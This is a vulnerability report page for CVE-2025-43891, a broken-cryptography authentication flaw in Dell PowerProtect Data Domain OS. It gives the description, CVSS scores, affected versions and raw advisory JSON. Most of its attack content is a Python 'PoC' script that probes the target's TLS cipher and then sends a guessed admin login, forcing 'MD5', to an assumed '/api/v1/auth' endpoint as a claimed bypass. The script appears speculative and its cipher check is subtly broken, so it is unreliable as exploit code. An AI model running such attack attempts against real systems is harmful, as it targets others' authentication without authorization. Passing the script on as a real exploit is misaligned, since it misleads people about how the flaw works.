Security Vulnerability Report
中文
CVE-2025-43891 CVSS 5.3 MEDIUM

CVE-2025-43891

Published: 2025-10-07 19:15:37
Last Modified: 2025-10-14 20:11:20

Description

Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an use of a Broken or Risky Cryptographic Algorithm vulnerability in the Authentication. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
Dell PowerProtect Data Domain DD OS Feature Release 7.7.1.0 - 8.3.0.15
Dell PowerProtect Data Domain DD OS LTS2025 8.3.1.0
Dell PowerProtect Data Domain DD OS LTS2024 7.13.1.0 - 7.13.1.30
Dell PowerProtect Data Domain DD OS LTS 2023 7.10.1.0 - 7.10.1.60

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43891 PoC - Dell PowerProtect Data Domain Broken Cryptographic Algorithm # This PoC demonstrates the concept of exploiting weak cryptographic algorithms # in the authentication mechanism of Dell PowerProtect Data Domain import socket import ssl import hashlib import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_HOST = "target-powerprotect.example.com" TARGET_PORT = 443 AUTH_ENDPOINT = "/api/v1/auth" def detect_weak_crypto(target_host, target_port): """ Detect weak cryptographic algorithms in the authentication endpoint by analyzing the SSL/TLS certificate and supported cipher suites. """ print(f"[*] Connecting to {target_host}:{target_port}") try: # Check SSL/TLS configuration for weak ciphers context = ssl.create_default_context() with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cipher_info = ssock.cipher() print(f"[*] Negotiated cipher: {cipher_info}") # Check for weak algorithms weak_algorithms = ['MD5', 'SHA1', 'DES', '3DES', 'RC4', 'NULL', 'EXPORT'] for weak in weak_algorithms: if weak.lower() in cipher_info[0].lower(): print(f"[!] VULNERABLE: Weak algorithm detected: {weak}") return True except Exception as e: print(f"[-] SSL connection error: {e}") return False def exploit_auth_bypass(target_host): """ Attempt to exploit the broken cryptographic algorithm in the authentication mechanism. """ url = f"https://{target_host}{AUTH_ENDPOINT}" # Craft authentication request exploiting weak crypto headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Attempt downgrade attack on authentication payload = { "username": "admin", "algorithm": "MD5", # Force weak algorithm "challenge": "test" } try: response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[!] Authentication bypass may be possible") print(f"[*] Response: {response.text[:500]}") return response except Exception as e: print(f"[-] Exploit error: {e}") return None def main(): print("=" * 60) print("CVE-2025-43891 PoC") print("Dell PowerProtect Data Domain Broken Crypto Vulnerability") print("=" * 60) # Step 1: Detect weak cryptographic algorithms if detect_weak_crypto(TARGET_HOST, TARGET_PORT): print("\n[*] Target appears vulnerable. Attempting exploitation...") # Step 2: Attempt authentication bypass exploit_auth_bypass(TARGET_HOST) else: print("\n[-] Target does not appear to be vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43891", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:36.960", "lastModified": "2025-10-14T20:11:20.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an use of a Broken or Risky Cryptographic Algorithm vulnerability in the Authentication. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}